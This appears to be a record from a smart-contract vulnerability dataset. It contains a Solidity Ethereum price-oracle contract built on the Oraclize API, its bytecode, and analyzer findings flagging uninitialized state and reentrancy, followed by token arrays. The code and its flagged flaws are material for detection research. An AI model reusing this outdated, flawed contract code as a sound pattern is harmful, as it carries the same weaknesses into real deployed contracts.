sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){ bool match_ = true; for (var i=0; i<prefix.length; i++){ if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId))); if (checkok == false) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> contract PriceReceiver { address public ethPriceProvider; modifier onlyEthPriceProvider() { require(msg.sender == ethPriceProvider); _; } function receiveEthPrice(uint ethUsdPrice) external; function setEthPriceProvider(address provider) external; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PriceProvider is Ownable, usingOraclize { using SafeMath for uint; enum State { Stopped, Active } uint public updateInterval = 43200; //12 hours by default uint public currentPrice; string public url; mapping (bytes32 => bool) validIds; PriceReceiver public watcher; State public state = State.Stopped; uint constant MIN_ALLOWED_PRICE_DIFF = 85; uint constant MAX_ALLOWED_PRICE_DIFF = 115; event TooBigPriceDiff(uint oldValue, uint newValue); event InsufficientFunds(); function notifyWatcher() internal; modifier inActiveState() { require(state == State.Active); _; } modifier inStoppedState() { require(state == State.Stopped); _; } function PriceProvider(string _url) { url = _url; //update immediately first time to be sure everything is working - first oraclize request is free. update(0); } //send some funds along with the call to cover oraclize fees function startUpdate(uint startingPrice) payable onlyOwner inStoppedState { state = State.Active; //we can set starting price manually, contract will notify watcher only in case of allowed diff //so owner can't set too small or to big price anyway currentPrice = startingPrice; update(updateInterval); } function stopUpdate() external onlyOwner inActiveState { state = State.Stopped; } function setWatcher(address newWatcher) external onlyOwner { require(newWatcher != 0x0); watcher = PriceReceiver(newWatcher); } function setCustomGasPrice(uint gasPrice) external onlyOwner { oraclize_setCustomGasPrice(gasPrice); } function setUpdateInterval(uint newInterval) external onlyOwner { require(newInterval > 0); updateInterval = newInterval; } function setUrl(string newUrl) external onlyOwner { require(bytes(newUrl).length > 0); url = newUrl; } function __callback(bytes32 myid, string result, bytes proof) { require(msg.sender == oraclize_cbAddress() && validIds[myid]); delete validIds[myid]; uint newPrice = parseInt(result, 2); require(newPrice > 0); uint changeInPercents = newPrice.mul(100).div(currentPrice); if (changeInPercents >= MIN_ALLOWED_PRICE_DIFF && changeInPercents <= MAX_ALLOWED_PRICE_DIFF) { currentPrice = newPrice; if (state == State.Active) { notifyWatcher(); update(updateInterval); } } else { state = State.Stopped; TooBigPriceDiff(currentPrice, newPrice); } } function update(uint delay) private { if (oraclize_getPrice("URL") > this.balance) { //stop if we don't have enough funds anymore state = State.Stopped; InsufficientFunds(); } else { bytes32 queryId = oraclize_query(delay, "URL", url); validIds[queryId] = true; } } //we need to get back our funds if we don't need this oracle anymore function withdraw(address receiver) external onlyOwner inStoppedState { require(receiver != 0x0); receiver.transfer(this.balance); } } contract EthPriceProvider is PriceProvider { function EthPriceProvider() PriceProvider("json(https://api.kraken.com/0/public/Ticker?pair=ETHUSD).result.XETHZUSD.c.0") { } function notifyWatcher() internal { watcher.receiveEthPrice(currentPrice); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063211b4f54146100eb57806324f48bc51461010b578063252498a21461014e57806327dc297e1461018957806338bbfa501461020057806351cff8d9146102bd5780635600f04f146103005780637124c6831461039057806377bf9776146103bd5780638da5cb5b146103d45780639d1b464a1461042b578063c19d93fb14610456578063ca6ad1e41461048f578063d6b74865146104bc578063f2fde38b14610513578063fd2c80ae14610556575b600080fd5b61010960048036038101908080359060200190929190505050610581565b005b34801561011757600080fd5b5061014c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610649565b005b34801561015a57600080fd5b5061018760048036038101908080359060200190820180359060200191909192939192939050505061070e565b005b34801561019557600080fd5b506101fe6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610791565b005b34801561020c57600080fd5b506102bb6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506107d4565b005b3480156102c957600080fd5b506102fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098b565b005b34801561030c57600080fd5b50610315610aa1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035557808201518184015260208101905061033a565b50505050905090810190601f1680156103825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039c57600080fd5b506103bb60048036038101908080359060200190929190505050610b3f565b005b3480156103c957600080fd5b506103d2610bb3565b005b3480156103e057600080fd5b506103e9610c67565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043757600080fd5b50610440610c8c565b6040518082815260200191505060405180910390f35b34801561046257600080fd5b5061046b610c92565b6040518082600181111561047b57fe5b60ff16815260200191505060405180910390f35b34801561049b57600080fd5b506104ba60048036038101908080359060200190929190505050610ca5565b005b3480156104c857600080fd5b506104d1610d0c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051f57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d32565b005b34801561056257600080fd5b5061056b610e07565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105dc57600080fd5b600060018111156105e957fe5b600a60149054906101000a900460ff16600181111561060457fe5b14151561061057600080fd5b6001600a60146101000a81548160ff0219169083600181111561062f57fe5b021790555080600781905550610646600654610e0d565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106a457600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156106ca57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561076957600080fd5b60008282905011151561077b57600080fd5b81816008919061078c929190612444565b505050565b6107d0828260006040519080825280601f01601f1916602001820160405280156107ca5781602001602082028038833980820191505090505b506107d4565b5050565b6000806107df610fd5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561083e575060096000866000191660001916815260200190815260200160002060009054906101000a900460ff165b151561084957600080fd5b60096000866000191660001916815260200190815260200160002060006101000a81549060ff021916905561087f84600261121f565b915060008211151561089057600080fd5b6108b86007546108aa60648561151390919063ffffffff16565b61154690919063ffffffff16565b9050605581101580156108cc575060738111155b1561091e57816007819055506001808111156108e457fe5b600a60149054906101000a900460ff1660018111156108ff57fe5b14156109195761090d611561565b610918600654610e0d565b5b610984565b6000600a60146101000a81548160ff0219169083600181111561093d57fe5b02179055507fc9762f8f5ed72058cdca40f46df666f2d40da3e2c07684e1f996bfd1d5b5850e60075483604051808381526020018281526020019250505060405180910390a15b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109e657600080fd5b600060018111156109f357fe5b600a60149054906101000a900460ff166001811115610a0e57fe5b141515610a1a57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515610a4057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610a9d573d6000803e3d6000fd5b5050565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9a57600080fd5b600081111515610ba957600080fd5b8060068190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0e57600080fd5b600180811115610c1a57fe5b600a60149054906101000a900460ff166001811115610c3557fe5b141515610c4157600080fd5b6000600a60146101000a81548160ff02191690836001811115610c6057fe5b0217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0057600080fd5b610d098161160e565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610e0457806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60065481565b60003073ffffffffffffffffffffffffffffffffffffffff1631610e656040805190810160405280600381526020017f55524c000000000000000000000000000000000000000000000000000000000081525061183d565b1115610ec0576000600a60146101000a81548160ff02191690836001811115610e8a57fe5b02179055507f356680b7a9f05bb37583d674b7e01e0ae48f613276c56b1a670839f3c9f392c960405160405180910390a1610fd1565b610f9a826040805190810160405280600381526020017f55524c000000000000000000000000000000000000000000000000000000000081525060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f905780601f10610f6557610100808354040283529160200191610f90565b820191906000526020600020905b815481529060010190602001808311610f7357829003601f168201915b5050505050611af9565b9050600160096000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061104757506000611045600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f87565b145b15611058576110566000611f92565b505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156110de57600080fd5b505af11580156110f2573d6000803e3d6000fd5b505050506040513d602081101561110857600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c281d19e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156111df57600080fd5b505af11580156111f3573d6000803e3d6000fd5b505050506040513d602081101561120957600080fd5b8101908080519060200190929190505050905090565b6000606060008060008693506000925060009150600090505b83518110156114f45760307f010000000000000000000000000000000000000000000000000000000000000002848281518110151561127357fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561138b575060397f010000000000000000000000000000000000000000000000000000000000000002848281518110151561131b57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561143c5781156113ae5760008614156113a4576114f4565b8580600190039650505b600a83029250603084828151811015156113c457fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900403830192506114e7565b602e7f010000000000000000000000000000000000000000000000000000000000000002848281518110151561146e57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156114e657600191505b5b8080600101915050611238565b60008611156115065785600a0a830292505b8294505050505092915050565b60008082840290506000841480611534575082848281151561153157fe5b04145b151561153c57fe5b8091505092915050565b600080828481151561155457fe5b0490508091505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a47001a86007546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156115f457600080fd5b505af1158015611608573d6000803e3d6000fd5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061167f5750600061167d600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f87565b145b156116905761168e6000611f92565b505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561171657600080fd5b505af115801561172a573d6000803e3d6000fd5b505050506040513d602081101561174057600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca6ad1e4826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561182257600080fd5b505af1158015611836573d6000803e3d6000fd5b5050505050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806118af575060006118ad600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f87565b145b156118c0576118be6000611f92565b505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561194657600080fd5b505af115801561195a573d6000803e3d6000fd5b505050506040513d602081101561197057600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663524f3889836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a6b578082015181840152602081019050611a50565b50505050905090810190601f168015611a985780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015611ab757600080fd5b505af1158015611acb573d6000803e3d6000fd5b505050506040513d6020811015611ae157600080fd5b81019080805190602001909291905050509050919050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611b6d57506000611b6b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611f87565b145b15611b7e57611b7c6000611f92565b505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611c0457600080fd5b505af1158015611c18573d6000803e3d6000fd5b505050506040513d6020811015611c2e57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663524f3889856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d29578082015181840152602081019050611d0e565b50505050905090810190601f168015611d565780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015611d7557600080fd5b505af1158015611d89573d6000803e3d6000fd5b505050506040513d6020811015611d9f57600080fd5b8101908080519060200190929190505050905062030d403a02670de0b6b3a764000001811115611dd55760006001029150611f7f565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663adf59f99828787876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015611e8c578082015181840152602081019050611e71565b50505050905090810190601f168015611eb95780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611ef2578082015181840152602081019050611ed7565b50505050905090810190601f168015611f1f5780820380516001836020036101000a031916815260200191505b50955050505050506020604051808303818588803b158015611f4057600080fd5b505af1158015611f54573d6000803e3d6000fd5b50505050506040513d6020811015611f6b57600080fd5b810190808051906020019092919050505091505b509392505050565b6000813b9050919050565b600080611fb2731d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed611f87565b111561205457731d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061204b6040805190810160405280600b81526020017f6574685f6d61696e6e657400000000000000000000000000000000000000000081525061242a565b60019050612425565b600061207373c03a2615d5efaf5f49f60b7bb6583eaec212fdf1611f87565b11156121155773c03a2615d5efaf5f49f60b7bb6583eaec212fdf1600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061210c6040805190810160405280600c81526020017f6574685f726f707374656e33000000000000000000000000000000000000000081525061242a565b60019050612425565b600061213473b7a07bcf2ba2f2703b24c0691b5278999c59ac7e611f87565b11156121d65773b7a07bcf2ba2f2703b24c0691b5278999c59ac7e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121cd6040805190810160405280600981526020017f6574685f6b6f76616e000000000000000000000000000000000000000000000081525061242a565b60019050612425565b60006121f573146500cfd35b22e4a392fe0adc06de1a1368ed48611f87565b11156122975773146500cfd35b22e4a392fe0adc06de1a1368ed48600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061228e6040805190810160405280600b81526020017f6574685f72696e6b65627900000000000000000000000000000000000000000081525061242a565b60019050612425565b60006122b6736f485c8bf6fc43ea212e93bbf8ce046c7f1cb475611f87565b111561231a57736f485c8bf6fc43ea212e93bbf8ce046c7f1cb475600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050612425565b60006123397320e12a1f859b3feae5fb2a0a32c18f5a65555bbf611f87565b111561239d577320e12a1f859b3feae5fb2a0a32c18f5a65555bbf600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050612425565b60006123bc7351efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa611f87565b1115612420577351efaf4c8b3c9afbd5ab9f4bbc82784ab6ef8faa600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050612425565b600090505b919050565b80600390805190602001906124409291906124c4565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061248557803560ff19168380011785556124b3565b828001600101855582156124b3579182015b828111156124b2578235825591602001919060010190612497565b5b5090506124c09190612544565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061250557805160ff1916838001178555612533565b82800160010185558215612533579182015b82811115612532578251825591602001919060010190612517565b5b5090506125409190612544565b5090565b61256691905b8082111561256257600081600090555060010161254a565b5090565b905600a165627a7a72305820599ffd1bea62d60b522139e4bf6f66b3c8da502cca2b98bac0679d7c2d9825510029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 11329, 27009, 22367, 11057, 18139, 2487, 15878, 2692, 29097, 2692, 26976, 2575, 17788, 2549, 2050, 2509, 2278, 21486, 2475, 26337, 11329, 2549, 16409, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 2219, 3085, 9570, 2953, 4520, 1996, 2434, 1036, 3954, 1036, 1997, 1996, 3206, 2000, 1996, 4604, 2121, 1008, 4070, 1012, 1008, 1013, 3853, 2219, 3085, 1006, 1007, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,557
0x96FC56721D2b79485692350014875b3b67CB00eB
